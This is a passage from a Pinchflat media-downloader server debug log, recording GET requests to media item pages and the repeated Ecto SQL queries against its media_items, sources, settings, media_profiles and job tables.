m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1573371] 17:40:57.191 [debug] QUERY OK source="tasks" db=0.1ms idle=499.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1573371] 17:40:57.191 [debug] QUERY OK source="sources" db=0.2ms idle=499.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [28] 17:40:57.191 [debug] QUERY OK source="settings" db=0.1ms idle=500.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:57.191 [debug] QUERY OK source="settings" db=0.0ms idle=499.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:57.192 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:57.192 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:40:57.193 [info] Sent 200 in 2ms 17:40:57.691 [info] GET /sources/28/media/1574319/edit 17:40:57.691 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1574319", "source_id" => "28"} Pipelines: [:browser] 17:40:57.692 [debug] QUERY OK source="media_items" db=0.1ms idle=500.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1574319] 17:40:57.692 [debug] QUERY OK source="settings" db=0.0ms idle=500.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:57.692 [debug] QUERY OK source="settings" db=0.0ms idle=500.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:57.692 [debug] QUERY OK source="settings" db=0.0ms idle=500.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:57.693 [info] Sent 200 in 1ms 17:40:58.745 [info] GET /sources/1/media/1577510 17:40:58.745 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577510", "source_id" => "1"} Pipelines: [:browser] 17:40:58.745 [debug] QUERY OK source="media_items" db=0.1ms idle=1053.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577510] 17:40:58.746 [debug] QUERY OK source="tasks" db=0.1ms idle=1053.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577510] 17:40:58.746 [debug] QUERY OK source="sources" db=0.2ms idle=1053.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:40:58.746 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=1053.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5247580] 17:40:58.746 [debug] QUERY OK source="settings" db=0.0ms idle=444.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:58.746 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:58.746 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:58.747 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:40:58.748 [info] Sent 200 in 2ms 17:40:59.165 [info] GET /sources/45/media/1577337/edit 17:40:59.165 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577337", "source_id" => "45"} Pipelines: [:browser] 17:40:59.165 [debug] QUERY OK source="media_items" db=0.2ms idle=419.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577337] 17:40:59.166 [debug] QUERY OK source="settings" db=0.0ms idle=419.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:59.166 [debug] QUERY OK source="settings" db=0.0ms idle=419.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:59.166 [debug] QUERY OK source="settings" db=0.0ms idle=419.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:59.166 [info] Sent 200 in 1ms 17:40:59.666 [info] GET /sources/45/media/1577883/edit 17:40:59.666 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577883", "source_id" => "45"} Pipelines: [:browser] 17:40:59.667 [debug] QUERY OK source="media_items" db=0.1ms idle=501.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577883] 17:40:59.667 [debug] QUERY OK source="settings" db=0.0ms idle=501.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:59.667 [debug] QUERY OK source="settings" db=0.1ms idle=501.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:59.667 [debug] QUERY OK source="settings" db=0.0ms idle=501.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:40:59.668 [info] Sent 200 in 1ms 17:41:00.167 [info] GET /sources/1/media/1577481/edit 17:41:00.167 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577481", "source_id" => "1"} Pipelines: [:browser] 17:41:00.167 [debug] QUERY OK source="media_items" db=0.1ms idle=865.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577481] 17:41:00.168 [debug] QUERY OK source="settings" db=0.0ms idle=501.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:00.168 [debug] QUERY OK source="settings" db=0.0ms idle=500.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:00.168 [debug] QUERY OK source="settings" db=0.0ms idle=501.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:00.169 [info] Sent 200 in 1ms 17:41:00.466 [info] {"source":"oban","duration":91,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:41:00.674 [info] GET /sources/1/media/1577542 17:41:00.674 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1577542", "source_id" => "1"} Pipelines: [:browser] 17:41:00.674 [debug] QUERY OK source="media_items" db=0.1ms idle=506.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577542] 17:41:00.674 [debug] QUERY OK source="tasks" db=0.1ms idle=506.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1577542] 17:41:00.675 [debug] QUERY OK source="sources" db=0.1ms idle=506.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:41:00.675 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=372.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [5250470] 17:41:00.675 [debug] QUERY OK source="settings" db=0.0ms idle=208.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:00.675 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:00.675 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:00.676 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:41:00.676 [info] Sent 200 in 2ms 17:41:01.175 [info] GET /sources/6/media/1577894/edit 17:41:01.175 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577894", "source_id" => "6"} Pipelines: [:browser] 17:41:01.176 [debug] QUERY OK source="media_items" db=0.1ms idle=500.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577894] 17:41:01.176 [debug] QUERY OK source="settings" db=0.0ms idle=501.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:01.176 [debug] QUERY OK source="settings" db=0.0ms idle=501.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:01.176 [debug] QUERY OK source="settings" db=0.0ms idle=501.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:01.177 [info] Sent 200 in 1ms 17:41:01.676 [info] GET /sources/6/media/1577413/edit 17:41:01.676 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577413", "source_id" => "6"} Pipelines: [:browser] 17:41:01.676 [debug] QUERY OK source="media_items" db=0.1ms idle=500.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577413] 17:41:01.676 [debug] QUERY OK source="settings" db=0.0ms idle=500.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:01.676 [debug] QUERY OK source="settings" db=0.0ms idle=500.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:01.676 [debug] QUERY OK source="settings" db=0.0ms idle=499.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:01.677 [info] Sent 200 in 1ms 17:41:02.180 [info] GET /sources/45/media/1577360/edit 17:41:02.180 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577360", "source_id" => "45"} Pipelines: [:browser] 17:41:02.181 [debug] QUERY OK source="media_items" db=0.2ms idle=876.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577360] 17:41:02.181 [debug] QUERY OK source="settings" db=0.0ms idle=504.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:02.181 [debug] QUERY OK source="settings" db=0.0ms idle=504.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:02.181 [debug] QUERY OK source="settings" db=0.0ms idle=504.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:02.182 [info] Sent 200 in 1ms 17:41:02.681 [info] GET /sources/1/media/1577477/edit 17:41:02.681 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577477", "source_id" => "1"} Pipelines: [:browser] 17:41:02.682 [debug] QUERY OK source="media_items" db=0.1ms idle=500.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577477] 17:41:02.682 [debug] QUERY OK source="settings" db=0.0ms idle=501.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:02.682 [debug] QUERY OK source="settings" db=0.0ms idle=501.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:02.682 [debug] QUERY OK source="settings" db=0.0ms idle=501.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:41:02.683 [info] Sent 200 in 1ms 17:41:03.182 [info] GET /sources/45/media/1577504/edit 17:41:03.182 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1577504", "source_id" => "45"} Pipelines: [:browser] 17:41:03.182 [debug] QUERY OK source="media_items" db=0.1ms idle=877.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1577504] 17:41:03.183 [debug] QUERY OK source="settings" db=0.0ms idle=500.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", 